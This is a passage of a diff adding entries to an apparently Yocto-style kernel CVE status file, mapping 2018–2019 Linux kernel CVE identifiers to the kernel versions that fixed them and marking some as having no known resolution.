+CVE_STATUS[CVE-2018-10881] = "fixed-version: Fixed from version 4.18rc4"
+
+CVE_STATUS[CVE-2018-10882] = "fixed-version: Fixed from version 4.18rc4"
+
+CVE_STATUS[CVE-2018-10883] = "fixed-version: Fixed from version 4.18rc4"
+
+CVE_STATUS[CVE-2018-10901] = "fixed-version: Fixed from version 2.6.36rc1"
+
+CVE_STATUS[CVE-2018-10902] = "fixed-version: Fixed from version 4.18rc6"
+
+CVE_STATUS[CVE-2018-1091] = "fixed-version: Fixed from version 4.14rc2"
+
+CVE_STATUS[CVE-2018-1092] = "fixed-version: Fixed from version 4.17rc1"
+
+CVE_STATUS[CVE-2018-1093] = "fixed-version: Fixed from version 4.17rc1"
+
+CVE_STATUS[CVE-2018-10938] = "fixed-version: Fixed from version 4.13rc5"
+
+CVE_STATUS[CVE-2018-1094] = "fixed-version: Fixed from version 4.17rc1"
+
+CVE_STATUS[CVE-2018-10940] = "fixed-version: Fixed from version 4.17rc3"
+
+CVE_STATUS[CVE-2018-1095] = "fixed-version: Fixed from version 4.17rc1"
+
+CVE_STATUS[CVE-2018-1108] = "fixed-version: Fixed from version 4.17rc2"
+
+CVE_STATUS[CVE-2018-1118] = "fixed-version: Fixed from version 4.18rc1"
+
+CVE_STATUS[CVE-2018-1120] = "fixed-version: Fixed from version 4.17rc6"
+
+# CVE-2018-1121 has no known resolution
+
+CVE_STATUS[CVE-2018-11232] = "fixed-version: Fixed from version 4.11rc1"
+
+CVE_STATUS[CVE-2018-1128] = "fixed-version: Fixed from version 4.19rc1"
+
+CVE_STATUS[CVE-2018-1129] = "fixed-version: Fixed from version 4.19rc1"
+
+CVE_STATUS[CVE-2018-1130] = "fixed-version: Fixed from version 4.16rc7"
+
+CVE_STATUS[CVE-2018-11412] = "fixed-version: Fixed from version 4.18rc1"
+
+CVE_STATUS[CVE-2018-11506] = "fixed-version: Fixed from version 4.17rc7"
+
+CVE_STATUS[CVE-2018-11508] = "fixed-version: Fixed from version 4.17rc5"
+
+# CVE-2018-11987 has no known resolution
+
+CVE_STATUS[CVE-2018-12126] = "fixed-version: Fixed from version 5.2rc1"
+
+CVE_STATUS[CVE-2018-12127] = "fixed-version: Fixed from version 5.2rc1"
+
+CVE_STATUS[CVE-2018-12130] = "fixed-version: Fixed from version 5.2rc1"
+
+CVE_STATUS[CVE-2018-12207] = "fixed-version: Fixed from version 5.4rc2"
+
+CVE_STATUS[CVE-2018-12232] = "fixed-version: Fixed from version 4.18rc1"
+
+CVE_STATUS[CVE-2018-12233] = "fixed-version: Fixed from version 4.18rc2"
+
+CVE_STATUS[CVE-2018-12633] = "fixed-version: Fixed from version 4.18rc1"
+
+CVE_STATUS[CVE-2018-12714] = "fixed-version: Fixed from version 4.18rc2"
+
+CVE_STATUS[CVE-2018-12896] = "fixed-version: Fixed from version 4.19rc1"
+
+CVE_STATUS[CVE-2018-12904] = "fixed-version: Fixed from version 4.18rc1"
+
+# CVE-2018-12928 has no known resolution
+
+# CVE-2018-12929 has no known resolution
+
+# CVE-2018-12930 has no known resolution
+
+# CVE-2018-12931 has no known resolution
+
+CVE_STATUS[CVE-2018-13053] = "fixed-version: Fixed from version 4.19rc1"
+
+CVE_STATUS[CVE-2018-13093] = "fixed-version: Fixed from version 4.18rc1"
+
+CVE_STATUS[CVE-2018-13094] = "fixed-version: Fixed from version 4.18rc1"
+
+CVE_STATUS[CVE-2018-13095] = "fixed-version: Fixed from version 4.18rc3"
+
+CVE_STATUS[CVE-2018-13096] = "fixed-version: Fixed from version 4.19rc1"
+
+CVE_STATUS[CVE-2018-13097] = "fixed-version: Fixed from version 4.19rc1"
+
+CVE_STATUS[CVE-2018-13098] = "fixed-version: Fixed from version 4.19rc1"
+
+CVE_STATUS[CVE-2018-13099] = "fixed-version: Fixed from version 4.19rc1"
+
+CVE_STATUS[CVE-2018-13100] = "fixed-version: Fixed from version 4.19rc1"
+
+CVE_STATUS[CVE-2018-13405] = "fixed-version: Fixed from version 4.18rc4"
+
+CVE_STATUS[CVE-2018-13406] = "fixed-version: Fixed from version 4.18rc1"
+
+CVE_STATUS[CVE-2018-14609] = "fixed-version: Fixed from version 4.19rc1"
+
+CVE_STATUS[CVE-2018-14610] = "fixed-version: Fixed from version 4.19rc1"
+
+CVE_STATUS[CVE-2018-14611] = "fixed-version: Fixed from version 4.19rc1"
+
+CVE_STATUS[CVE-2018-14612] = "fixed-version: Fixed from version 4.19rc1"
+
+CVE_STATUS[CVE-2018-14613] = "fixed-version: Fixed from version 4.19rc1"
+
+CVE_STATUS[CVE-2018-14614] = "fixed-version: Fixed from version 4.19rc1"
+
+CVE_STATUS[CVE-2018-14615] = "fixed-version: Fixed from version 4.19rc1"
+
+CVE_STATUS[CVE-2018-14616] = "fixed-version: Fixed from version 4.19rc1"
+
+CVE_STATUS[CVE-2018-14617] = "fixed-version: Fixed from version 4.19rc1"
+
+CVE_STATUS[CVE-2018-14619] = "fixed-version: Fixed from version 4.15rc4"
+
+CVE_STATUS[CVE-2018-14625] = "fixed-version: Fixed from version 4.20rc6"
+
+CVE_STATUS[CVE-2018-14633] = "fixed-version: Fixed from version 4.19rc6"
+
+CVE_STATUS[CVE-2018-14634] = "fixed-version: Fixed from version 4.13rc1"
+
+CVE_STATUS[CVE-2018-14641] = "fixed-version: Fixed from version 4.19rc4"
+
+CVE_STATUS[CVE-2018-14646] = "fixed-version: Fixed from version 4.15rc8"
+
+CVE_STATUS[CVE-2018-14656] = "fixed-version: Fixed from version 4.19rc2"
+
+CVE_STATUS[CVE-2018-14678] = "fixed-version: Fixed from version 4.18rc8"
+
+CVE_STATUS[CVE-2018-14734] = "fixed-version: Fixed from version 4.18rc1"
+
+CVE_STATUS[CVE-2018-15471] = "fixed-version: Fixed from version 4.19rc7"
+
+CVE_STATUS[CVE-2018-15572] = "fixed-version: Fixed from version 4.19rc1"
+
+CVE_STATUS[CVE-2018-15594] = "fixed-version: Fixed from version 4.19rc1"
+
+CVE_STATUS[CVE-2018-16276] = "fixed-version: Fixed from version 4.18rc5"
+
+CVE_STATUS[CVE-2018-16597] = "fixed-version: Fixed from version 4.8rc1"
+
+CVE_STATUS[CVE-2018-16658] = "fixed-version: Fixed from version 4.19rc2"
+
+CVE_STATUS[CVE-2018-16862] = "fixed-version: Fixed from version 4.20rc5"
+
+CVE_STATUS[CVE-2018-16871] = "fixed-version: Fixed from version 4.20rc3"
+
+CVE_STATUS[CVE-2018-16880] = "fixed-version: Fixed from version 5.0rc5"
+
+CVE_STATUS[CVE-2018-16882] = "fixed-version: Fixed from version 4.20"
+
+CVE_STATUS[CVE-2018-16884] = "fixed-version: Fixed from version 5.0rc1"
+
+# CVE-2018-16885 has no known resolution
+
+CVE_STATUS[CVE-2018-17182] = "fixed-version: Fixed from version 4.19rc4"
+
+CVE_STATUS[CVE-2018-17972] = "fixed-version: Fixed from version 4.19rc7"
+
+# CVE-2018-17977 has no known resolution
+
+CVE_STATUS[CVE-2018-18021] = "fixed-version: Fixed from version 4.19rc7"
+
+CVE_STATUS[CVE-2018-18281] = "fixed-version: Fixed from version 4.19"
+
+CVE_STATUS[CVE-2018-18386] = "fixed-version: Fixed from version 4.15rc6"
+
+CVE_STATUS[CVE-2018-18397] = "fixed-version: Fixed from version 4.20rc5"
+
+CVE_STATUS[CVE-2018-18445] = "fixed-version: Fixed from version 4.19rc7"
+
+CVE_STATUS[CVE-2018-18559] = "fixed-version: Fixed from version 4.15rc2"
+
+# CVE-2018-18653 has no known resolution
+
+CVE_STATUS[CVE-2018-18690] = "fixed-version: Fixed from version 4.17rc4"
+
+CVE_STATUS[CVE-2018-18710] = "fixed-version: Fixed from version 4.20rc1"
+
+CVE_STATUS[CVE-2018-18955] = "fixed-version: Fixed from version 4.20rc2"
+
+CVE_STATUS[CVE-2018-19406] = "fixed-version: Fixed from version 4.20rc5"
+
+CVE_STATUS[CVE-2018-19407] = "fixed-version: Fixed from version 4.20rc5"
+
+CVE_STATUS[CVE-2018-19824] = "fixed-version: Fixed from version 4.20rc6"
+
+CVE_STATUS[CVE-2018-19854] = "fixed-version: Fixed from version 4.20rc3"
+
+CVE_STATUS[CVE-2018-19985] = "fixed-version: Fixed from version 4.20"
+
+CVE_STATUS[CVE-2018-20169] = "fixed-version: Fixed from version 4.20rc6"
+
+CVE_STATUS[CVE-2018-20449] = "fixed-version: Fixed from version 4.15rc2"
+
+CVE_STATUS[CVE-2018-20509] = "fixed-version: Fixed from version 4.14rc1"
+
+CVE_STATUS[CVE-2018-20510] = "fixed-version: Fixed from version 4.16rc3"
+
+CVE_STATUS[CVE-2018-20511] = "fixed-version: Fixed from version 4.19rc5"
+
+CVE_STATUS[CVE-2018-20669] = "fixed-version: Fixed from version 5.0rc1"
+
+CVE_STATUS[CVE-2018-20784] = "fixed-version: Fixed from version 5.0rc1"
+
+CVE_STATUS[CVE-2018-20836] = "fixed-version: Fixed from version 4.20rc1"
+
+CVE_STATUS[CVE-2018-20854] = "fixed-version: Fixed from version 4.20rc1"
+
+CVE_STATUS[CVE-2018-20855] = "fixed-version: Fixed from version 4.19rc1"
+
+CVE_STATUS[CVE-2018-20856] = "fixed-version: Fixed from version 4.19rc1"
+
+CVE_STATUS[CVE-2018-20961] = "fixed-version: Fixed from version 4.17rc1"
+
+CVE_STATUS[CVE-2018-20976] = "fixed-version: Fixed from version 4.18rc1"
+
+CVE_STATUS[CVE-2018-21008] = "fixed-version: Fixed from version 4.18rc1"
+
+CVE_STATUS[CVE-2018-25015] = "fixed-version: Fixed from version 4.15rc9"
+
+CVE_STATUS[CVE-2018-25020] = "fixed-version: Fixed from version 4.17rc7"
+
+# CVE-2018-3574 has no known resolution
+
+CVE_STATUS[CVE-2018-3620] = "fixed-version: Fixed from version 4.19rc1"
+
+CVE_STATUS[CVE-2018-3639] = "fixed-version: Fixed from version 4.17rc7"
+
+CVE_STATUS[CVE-2018-3646] = "fixed-version: Fixed from version 4.19rc1"
+
+CVE_STATUS[CVE-2018-3665] = "fixed-version: Fixed from version 3.7rc1"
+
+CVE_STATUS[CVE-2018-3693] = "fixed-version: Fixed from version 4.19rc1"
+
+CVE_STATUS[CVE-2018-5332] = "fixed-version: Fixed from version 4.15rc8"
+
+CVE_STATUS[CVE-2018-5333] = "fixed-version: Fixed from version 4.15rc8"
+
+CVE_STATUS[CVE-2018-5344] = "fixed-version: Fixed from version 4.15rc8"
+
+CVE_STATUS[CVE-2018-5390] = "fixed-version: Fixed from version 4.18rc7"
+
+CVE_STATUS[CVE-2018-5391] = "fixed-version: Fixed from version 4.19rc1"
+
+CVE_STATUS[CVE-2018-5703] = "fixed-version: Fixed from version 4.16rc5"
+
+CVE_STATUS[CVE-2018-5750] = "fixed-version: Fixed from version 4.16rc1"
+
+CVE_STATUS[CVE-2018-5803] = "fixed-version: Fixed from version 4.16rc1"
+
+CVE_STATUS[CVE-2018-5814] = "fixed-version: Fixed from version 4.17rc6"
+
+CVE_STATUS[CVE-2018-5848] = "fixed-version: Fixed from version 4.16rc1"
+
+# Skipping CVE-2018-5856, no affected_versions
+
+CVE_STATUS[CVE-2018-5873] = "fixed-version: Fixed from version 4.11rc8"
+
+CVE_STATUS[CVE-2018-5953] = "fixed-version: Fixed from version 4.15rc2"
+
+CVE_STATUS[CVE-2018-5995] = "fixed-version: Fixed from version 4.15rc2"
+
+CVE_STATUS[CVE-2018-6412] = "fixed-version: Fixed from version 4.16rc5"
+
+CVE_STATUS[CVE-2018-6554] = "fixed-version: Fixed from version 4.17rc1"
+
+CVE_STATUS[CVE-2018-6555] = "fixed-version: Fixed from version 4.17rc1"
+
+# CVE-2018-6559 has no known resolution
+
+CVE_STATUS[CVE-2018-6927] = "fixed-version: Fixed from version 4.15rc9"
+
+CVE_STATUS[CVE-2018-7191] = "fixed-version: Fixed from version 4.14rc6"
+
+CVE_STATUS[CVE-2018-7273] = "fixed-version: Fixed from version 4.15rc2"
+
+CVE_STATUS[CVE-2018-7480] = "fixed-version: Fixed from version 4.11rc1"
+
+CVE_STATUS[CVE-2018-7492] = "fixed-version: Fixed from version 4.15rc3"
+
+CVE_STATUS[CVE-2018-7566] = "fixed-version: Fixed from version 4.16rc2"
+
+CVE_STATUS[CVE-2018-7740] = "fixed-version: Fixed from version 4.16rc7"
+
+CVE_STATUS[CVE-2018-7754] = "fixed-version: Fixed from version 4.15rc2"
+
+CVE_STATUS[CVE-2018-7755] = "fixed-version: Fixed from version 4.19rc5"
+
+CVE_STATUS[CVE-2018-7757] = "fixed-version: Fixed from version 4.16rc1"
+
+CVE_STATUS[CVE-2018-7995] = "fixed-version: Fixed from version 4.16rc5"
+
+CVE_STATUS[CVE-2018-8043] = "fixed-version: Fixed from version 4.16rc1"
+
+CVE_STATUS[CVE-2018-8087] = "fixed-version: Fixed from version 4.16rc1"
+
+CVE_STATUS[CVE-2018-8781] = "fixed-version: Fixed from version 4.16rc7"
+
+CVE_STATUS[CVE-2018-8822] = "fixed-version: Fixed from version 4.16rc7"
+
+CVE_STATUS[CVE-2018-8897] = "fixed-version: Fixed from version 4.16rc7"
+
+CVE_STATUS[CVE-2018-9363] = "fixed-version: Fixed from version 4.19rc1"
+
+CVE_STATUS[CVE-2018-9385] = "fixed-version: Fixed from version 4.17rc3"
+
+CVE_STATUS[CVE-2018-9415] = "fixed-version: Fixed from version 4.17rc3"
+
+CVE_STATUS[CVE-2018-9422] = "fixed-version: Fixed from version 4.6rc1"
+
+CVE_STATUS[CVE-2018-9465] = "fixed-version: Fixed from version 4.15rc6"
+
+CVE_STATUS[CVE-2018-9516] = "fixed-version: Fixed from version 4.18rc5"
+
+CVE_STATUS[CVE-2018-9517] = "fixed-version: Fixed from version 4.14rc1"
+
+CVE_STATUS[CVE-2018-9518] = "fixed-version: Fixed from version 4.16rc3"
+
+CVE_STATUS[CVE-2018-9568] = "fixed-version: Fixed from version 4.14rc4"
+
+CVE_STATUS[CVE-2019-0136] = "fixed-version: Fixed from version 5.2rc6"
+
+CVE_STATUS[CVE-2019-0145] = "fixed-version: Fixed from version 5.2rc1"
+
+CVE_STATUS[CVE-2019-0146] = "fixed-version: Fixed from version 5.2rc1"
+
+CVE_STATUS[CVE-2019-0147] = "fixed-version: Fixed from version 5.2rc1"
+
+CVE_STATUS[CVE-2019-0148] = "fixed-version: Fixed from version 5.2rc1"
+
+CVE_STATUS[CVE-2019-0149] = "fixed-version: Fixed from version 5.3rc1"
+
+CVE_STATUS[CVE-2019-0154] = "fixed-version: Fixed from version 5.4rc8"
+
+CVE_STATUS[CVE-2019-0155] = "fixed-version: Fixed from version 5.4rc8"
+
+CVE_STATUS[CVE-2019-10124] = "fixed-version: Fixed from version 5.1rc1"
+
+CVE_STATUS[CVE-2019-10125] = "fixed-version: Fixed from version 5.1rc1"
+
+CVE_STATUS[CVE-2019-10126] = "fixed-version: Fixed from version 5.2rc6"
+
+# CVE-2019-10140 has no known resolution
+
+CVE_STATUS[CVE-2019-10142] = "fixed-version: Fixed from version 5.2rc1"
+
+CVE_STATUS[CVE-2019-10207] = "fixed-version: Fixed from version 5.3rc3"
+
+CVE_STATUS[CVE-2019-10220] = "fixed-version: Fixed from version 5.4rc2"
+
+CVE_STATUS[CVE-2019-10638] = "fixed-version: Fixed from version 5.2rc1"
+
+CVE_STATUS[CVE-2019-10639] = "fixed-version: Fixed from version 5.1rc4"
+
+CVE_STATUS[CVE-2019-11085] = "fixed-version: Fixed from version 5.0rc3"
+
+CVE_STATUS[CVE-2019-11091] = "fixed-version: Fixed from version 5.2rc1"
+
+CVE_STATUS[CVE-2019-11135] = "fixed-version: Fixed from version 5.4rc8"
+
+CVE_STATUS[CVE-2019-11190] = "fixed-version: Fixed from version 4.8rc5"
+
+CVE_STATUS[CVE-2019-11191] = "fixed-version: Fixed from version 5.1rc1"
+
+CVE_STATUS[CVE-2019-1125] = "fixed-version: Fixed from version 5.3rc4"
+
+CVE_STATUS[CVE-2019-11477] = "fixed-version: Fixed from version 5.2rc6"
+
+CVE_STATUS[CVE-2019-11478] = "fixed-version: Fixed from version 5.2rc6"
+
+CVE_STATUS[CVE-2019-11479] = "fixed-version: Fixed from version 5.2rc6"
+
+CVE_STATUS[CVE-2019-11486] = "fixed-version: Fixed from version 5.1rc4"
+
+CVE_STATUS[CVE-2019-11487] = "fixed-version: Fixed from version 5.1rc5"
+
+CVE_STATUS[CVE-2019-11599] = "fixed-version: Fixed from version 5.1rc6"
+
+CVE_STATUS[CVE-2019-11683] = "fixed-version: Fixed from version 5.1"
+
+CVE_STATUS[CVE-2019-11810] = "fixed-version: Fixed from version 5.1rc1"
+
+CVE_STATUS[CVE-2019-11811] = "fixed-version: Fixed from version 5.1rc1"
+
+CVE_STATUS[CVE-2019-11815] = "fixed-version: Fixed from version 5.1rc4"
+
+CVE_STATUS[CVE-2019-11833] = "fixed-version: Fixed from version 5.2rc1"
+
+CVE_STATUS[CVE-2019-11884] = "fixed-version: Fixed from version 5.2rc1"
+
+CVE_STATUS[CVE-2019-12378] = "fixed-version: Fixed from version 5.2rc3"
+
+CVE_STATUS[CVE-2019-12379] = "fixed-version: Fixed from version 5.3rc1"
+
+CVE_STATUS[CVE-2019-12380] = "fixed-version: Fixed from version 5.2rc3"
+
+CVE_STATUS[CVE-2019-12381] = "fixed-version: Fixed from version 5.2rc3"
+
+CVE_STATUS[CVE-2019-12382] = "fixed-version: Fixed from version 5.3rc1"
+
+CVE_STATUS[CVE-2019-12454] = "fixed-version: Fixed from version 5.3rc1"
+
+CVE_STATUS[CVE-2019-12455] = "fixed-version: Fixed from version 5.3rc1"
+
+# CVE-2019-12456 has no known resolution
+
+CVE_STATUS[CVE-2019-12614] = "fixed-version: Fixed from version 5.3rc1"
+
+CVE_STATUS[CVE-2019-12615] = "fixed-version: Fixed from version 5.2rc4"
+
+CVE_STATUS[CVE-2019-12817] = "fixed-version: Fixed from version 5.2rc7"
+
+CVE_STATUS[CVE-2019-12818] = "fixed-version: Fixed from version 5.0"
+
+CVE_STATUS[CVE-2019-12819] = "fixed-version: Fixed from version 5.0rc8"
+
+CVE_STATUS[CVE-2019-12881] = "fixed-version: Fixed from version 4.18rc1"
+
+CVE_STATUS[CVE-2019-12984] = "fixed-version: Fixed from version 5.2rc6"
+
+CVE_STATUS[CVE-2019-13233] = "fixed-version: Fixed from version 5.2rc4"
+
+CVE_STATUS[CVE-2019-13272] = "fixed-version: Fixed from version 5.2"
+
+CVE_STATUS[CVE-2019-13631] = "fixed-version: Fixed from version 5.3rc1"
+
+CVE_STATUS[CVE-2019-13648] = "fixed-version: Fixed from version 5.3rc2"
+
+CVE_STATUS[CVE-2019-14283] = "fixed-version: Fixed from version 5.3rc1"
+
+CVE_STATUS[CVE-2019-14284] = "fixed-version: Fixed from version 5.3rc1"
+
+CVE_STATUS[CVE-2019-14615] = "fixed-version: Fixed from version 5.5rc7"
+
+CVE_STATUS[CVE-2019-14763] = "fixed-version: Fixed from version 4.17rc1"
+
+CVE_STATUS[CVE-2019-14814] = "fixed-version: Fixed from version 5.3"
+
+CVE_STATUS[CVE-2019-14815] = "fixed-version: Fixed from version 5.3"
+
+CVE_STATUS[CVE-2019-14816] = "fixed-version: Fixed from version 5.3"
+
+CVE_STATUS[CVE-2019-14821] = "fixed-version: Fixed from version 5.4rc1"
+
+CVE_STATUS[CVE-2019-14835] = "fixed-version: Fixed from version 5.3"
+
+CVE_STATUS[CVE-2019-14895] = "fixed-version: Fixed from version 5.5rc3"
+
+CVE_STATUS[CVE-2019-14896] = "fixed-version: Fixed from version 5.5"
+
+CVE_STATUS[CVE-2019-14897] = "fixed-version: Fixed from version 5.5"
+
+# CVE-2019-14898 has no known resolution
+
+CVE_STATUS[CVE-2019-14901] = "fixed-version: Fixed from version 5.5rc3"
+
+CVE_STATUS[CVE-2019-15030] = "fixed-version: Fixed from version 5.3rc8"
+
+CVE_STATUS[CVE-2019-15031] = "fixed-version: Fixed from version 5.3rc8"
+
+CVE_STATUS[CVE-2019-15090] = "fixed-version: Fixed from version 5.2rc2"
+
+CVE_STATUS[CVE-2019-15098] = "fixed-version: Fixed from version 5.4rc1"
+
+CVE_STATUS[CVE-2019-15099] = "fixed-version: Fixed from version 5.5rc1"
+
+CVE_STATUS[CVE-2019-15117] = "fixed-version: Fixed from version 5.3rc5"
+
+CVE_STATUS[CVE-2019-15118] = "fixed-version: Fixed from version 5.3rc5"
+
+CVE_STATUS[CVE-2019-15211] = "fixed-version: Fixed from version 5.3rc1"
+
+CVE_STATUS[CVE-2019-15212] = "fixed-version: Fixed from version 5.2rc3"
+
+CVE_STATUS[CVE-2019-15213] = "fixed-version: Fixed from version 5.3rc1"
+
+CVE_STATUS[CVE-2019-15214] = "fixed-version: Fixed from version 5.1rc6"
+
+CVE_STATUS[CVE-2019-15215] = "fixed-version: Fixed from version 5.3rc1"
+
+CVE_STATUS[CVE-2019-15216] = "fixed-version: Fixed from version 5.1"
+
+CVE_STATUS[CVE-2019-15217] = "fixed-version: Fixed from version 5.3rc1"
+
+CVE_STATUS[CVE-2019-15218] = "fixed-version: Fixed from version 5.2rc3"
+
+CVE_STATUS[CVE-2019-15219] = "fixed-version: Fixed from version 5.2rc3"
+
+CVE_STATUS[CVE-2019-15220] = "fixed-version: Fixed from version 5.3rc1"
+
+CVE_STATUS[CVE-2019-15221] = "fixed-version: Fixed from version 5.2"
+
+CVE_STATUS[CVE-2019-15222] = "fixed-version: Fixed from version 5.3rc3"
+
+CVE_STATUS[CVE-2019-15223] = "fixed-version: Fixed from version 5.2rc3"
+
+# CVE-2019-15239 has no known resolution
+
+# CVE-2019-15290 has no known resolution
+
+CVE_STATUS[CVE-2019-15291] = "fixed-version: Fixed from version 5.5rc1"
+
+CVE_STATUS[CVE-2019-15292] = "fixed-version: Fixed from version 5.1rc1"
+
+CVE_STATUS[CVE-2019-15504] = "fixed-version: Fixed from version 5.3"
+
+CVE_STATUS[CVE-2019-15505] = "fixed-version: Fixed from version 5.4rc1"
+
+CVE_STATUS[CVE-2019-15538] = "fixed-version: Fixed from version 5.3rc6"
+
+CVE_STATUS[CVE-2019-15666] = "fixed-version: Fixed from version 5.1"
+
+# CVE-2019-15791 has no known resolution
+
+# CVE-2019-15792 has no known resolution
+
+# CVE-2019-15793 has no known resolution
+
+CVE_STATUS[CVE-2019-15794] = "fixed-version: Fixed from version 5.12"
+
+CVE_STATUS[CVE-2019-15807] = "fixed-version: Fixed from version 5.2rc3"
+
+# CVE-2019-15902 has no known resolution
+
+CVE_STATUS[CVE-2019-15916] = "fixed-version: Fixed from version 5.1rc1"
+
+CVE_STATUS[CVE-2019-15917] = "fixed-version: Fixed from version 5.1rc1"
+
+CVE_STATUS[CVE-2019-15918] = "fixed-version: Fixed from version 5.1rc6"
+
+CVE_STATUS[CVE-2019-15919] = "fixed-version: Fixed from version 5.1rc6"
+
+CVE_STATUS[CVE-2019-15920] = "fixed-version: Fixed from version 5.1rc6"
+
+CVE_STATUS[CVE-2019-15921] = "fixed-version: Fixed from version 5.1rc3"
+
+CVE_STATUS[CVE-2019-15922] = "fixed-version: Fixed from version 5.1rc4"
+
+CVE_STATUS[CVE-2019-15923] = "fixed-version: Fixed from version 5.1rc4"
+
+CVE_STATUS[CVE-2019-15924] = "fixed-version: Fixed from version 5.1rc4"
+
+CVE_STATUS[CVE-2019-15925] = "fixed-version: Fixed from version 5.3rc1"
+
+CVE_STATUS[CVE-2019-15926] = "fixed-version: Fixed from version 5.3rc1"
+
+CVE_STATUS[CVE-2019-15927] = "fixed-version: Fixed from version 5.0rc2"
+
+# CVE-2019-16089 has no known resolution
+
+CVE_STATUS[CVE-2019-16229] = "fixed-version: Fixed from version 5.5rc1"
+
+CVE_STATUS[CVE-2019-16230] = "fixed-version: Fixed from version 5.5rc1"
+
+CVE_STATUS[CVE-2019-16231] = "fixed-version: Fixed from version 5.4rc6"
+
+CVE_STATUS[CVE-2019-16232] = "fixed-version: Fixed from version 5.5rc1"
+
+CVE_STATUS[CVE-2019-16233] = "fixed-version: Fixed from version 5.4rc5"
+
+CVE_STATUS[CVE-2019-16234] = "fixed-version: Fixed from version 5.4rc4"
+
+CVE_STATUS[CVE-2019-16413] = "fixed-version: Fixed from version 5.1rc1"
+
+CVE_STATUS[CVE-2019-16714] = "fixed-version: Fixed from version 5.3rc7"
+
+CVE_STATUS[CVE-2019-16746] = "fixed-version: Fixed from version 5.4rc2"
+
+CVE_STATUS[CVE-2019-16921] = "fixed-version: Fixed from version 4.17rc1"
+
+CVE_STATUS[CVE-2019-16994] = "fixed-version: Fixed from version 5.0"
+
+CVE_STATUS[CVE-2019-16995] = "fixed-version: Fixed from version 5.1rc1"
+
+CVE_STATUS[CVE-2019-17052] = "fixed-version: Fixed from version 5.4rc1"
+
+CVE_STATUS[CVE-2019-17053] = "fixed-version: Fixed from version 5.4rc1"
+
+CVE_STATUS[CVE-2019-17054] = "fixed-version: Fixed from version 5.4rc1"
+
+CVE_STATUS[CVE-2019-17055] = "fixed-version: Fixed from version 5.4rc1"
+
+CVE_STATUS[CVE-2019-17056] = "fixed-version: Fixed from version 5.4rc1"
+
+CVE_STATUS[CVE-2019-17075] = "fixed-version: Fixed from version 5.4rc3"
+
+CVE_STATUS[CVE-2019-17133] = "fixed-version: Fixed from version 5.4rc4"
+
+CVE_STATUS[CVE-2019-17351] = "fixed-version: Fixed from version 5.3rc1"
+
+CVE_STATUS[CVE-2019-17666] = "fixed-version: Fixed from version 5.4rc6"
+
+CVE_STATUS[CVE-2019-18198] = "fixed-version: Fixed from version 5.4rc1"
+
+CVE_STATUS[CVE-2019-18282] = "fixed-version: Fixed from version 5.4rc6"
+
+CVE_STATUS[CVE-2019-18660] = "fixed-version: Fixed from version 5.5rc1"
+
+CVE_STATUS[CVE-2019-18675] = "fixed-version: Fixed from version 4.17rc5"
+
+# CVE-2019-18680 has no known resolution
+
+CVE_STATUS[CVE-2019-18683] = "fixed-version: Fixed from version 5.5rc1"
+
+CVE_STATUS[CVE-2019-18786] = "fixed-version: Fixed from version 5.5rc1"
+
+CVE_STATUS[CVE-2019-18805] = "fixed-version: Fixed from version 5.1rc7"
+
+CVE_STATUS[CVE-2019-18806] = "fixed-version: Fixed from version 5.4rc2"
+
+CVE_STATUS[CVE-2019-18807] = "fixed-version: Fixed from version 5.4rc2"
+
+CVE_STATUS[CVE-2019-18808] = "fixed-version: Fixed from version 5.5rc1"
+
+CVE_STATUS[CVE-2019-18809] = "fixed-version: Fixed from version 5.5rc1"
+
+CVE_STATUS[CVE-2019-18810] = "fixed-version: Fixed from version 5.4rc2"
+
+CVE_STATUS[CVE-2019-18811] = "fixed-version: Fixed from version 5.4rc7"
+
+CVE_STATUS[CVE-2019-18812] = "fixed-version: Fixed from version 5.4rc7"
+
+CVE_STATUS[CVE-2019-18813] = "fixed-version: Fixed from version 5.4rc6"
+
+CVE_STATUS[CVE-2019-18814] = "fixed-version: Fixed from version 5.7rc7"
+
+CVE_STATUS[CVE-2019-18885] = "fixed-version: Fixed from version 5.1rc1"
+
+CVE_STATUS[CVE-2019-19036] = "fixed-version: Fixed from version 5.4rc1"
+
+CVE_STATUS[CVE-2019-19037] = "fixed-version: Fixed from version 5.5rc3"
+
+CVE_STATUS[CVE-2019-19039] = "fixed-version: Fixed from version 5.7rc1"
+
+CVE_STATUS[CVE-2019-19043] = "fixed-version: Fixed from version 5.5rc1"
+
+CVE_STATUS[CVE-2019-19044] = "fixed-version: Fixed from version 5.4rc6"
+
+CVE_STATUS[CVE-2019-19045] = "fixed-version: Fixed from version 5.4rc6"
+
+CVE_STATUS[CVE-2019-19046] = "fixed-version: Fixed from version 5.5rc1"
+
+CVE_STATUS[CVE-2019-19047] = "fixed-version: Fixed from version 5.4rc6"
+
+CVE_STATUS[CVE-2019-19048] = "fixed-version: Fixed from version 5.4rc3"
+
+CVE_STATUS[CVE-2019-19049] = "fixed-version: Fixed from version 5.4rc5"
+
+CVE_STATUS[CVE-2019-19050] = "fixed-version: Fixed from version 5.5rc1"
+
+CVE_STATUS[CVE-2019-19051] = "fixed-version: Fixed from version 5.4rc6"
+
+CVE_STATUS[CVE-2019-19052] = "fixed-version: Fixed from version 5.4rc7"
+
+CVE_STATUS[CVE-2019-19053] = "fixed-version: Fixed from version 5.5rc1"
+
+CVE_STATUS[CVE-2019-19054] = "fixed-version: Fixed from version 5.5rc1"
+
+CVE_STATUS[CVE-2019-19055] = "fixed-version: Fixed from version 5.4rc4"
+
+CVE_STATUS[CVE-2019-19056] = "fixed-version: Fixed from version 5.5rc1"
+
+CVE_STATUS[CVE-2019-19057] = "fixed-version: Fixed from version 5.5rc1"
+
+CVE_STATUS[CVE-2019-19058] = "fixed-version: Fixed from version 5.4rc4"
+
+CVE_STATUS[CVE-2019-19059] = "fixed-version: Fixed from version 5.4rc4"
+
+CVE_STATUS[CVE-2019-19060] = "fixed-version: Fixed from version 5.4rc3"
+
+CVE_STATUS[CVE-2019-19061] = "fixed-version: Fixed from version 5.4rc3"
+
+CVE_STATUS[CVE-2019-19062] = "fixed-version: Fixed from version 5.5rc1"
+
+CVE_STATUS[CVE-2019-19063] = "fixed-version: Fixed from version 5.5rc1"
+
+CVE_STATUS[CVE-2019-19064] = "fixed-version: Fixed from version 5.5rc1"
+
+CVE_STATUS[CVE-2019-19065] = "fixed-version: Fixed from version 5.4rc3"
+
+CVE_STATUS[CVE-2019-19066] = "fixed-version: Fixed from version 5.5rc1"
+
+CVE_STATUS[CVE-2019-19067] = "fixed-version: Fixed from version 5.4rc2"
+
+CVE_STATUS[CVE-2019-19068] = "fixed-version: Fixed from version 5.5rc1"
+
+CVE_STATUS[CVE-2019-19069] = "fixed-version: Fixed from version 5.4rc3"
+
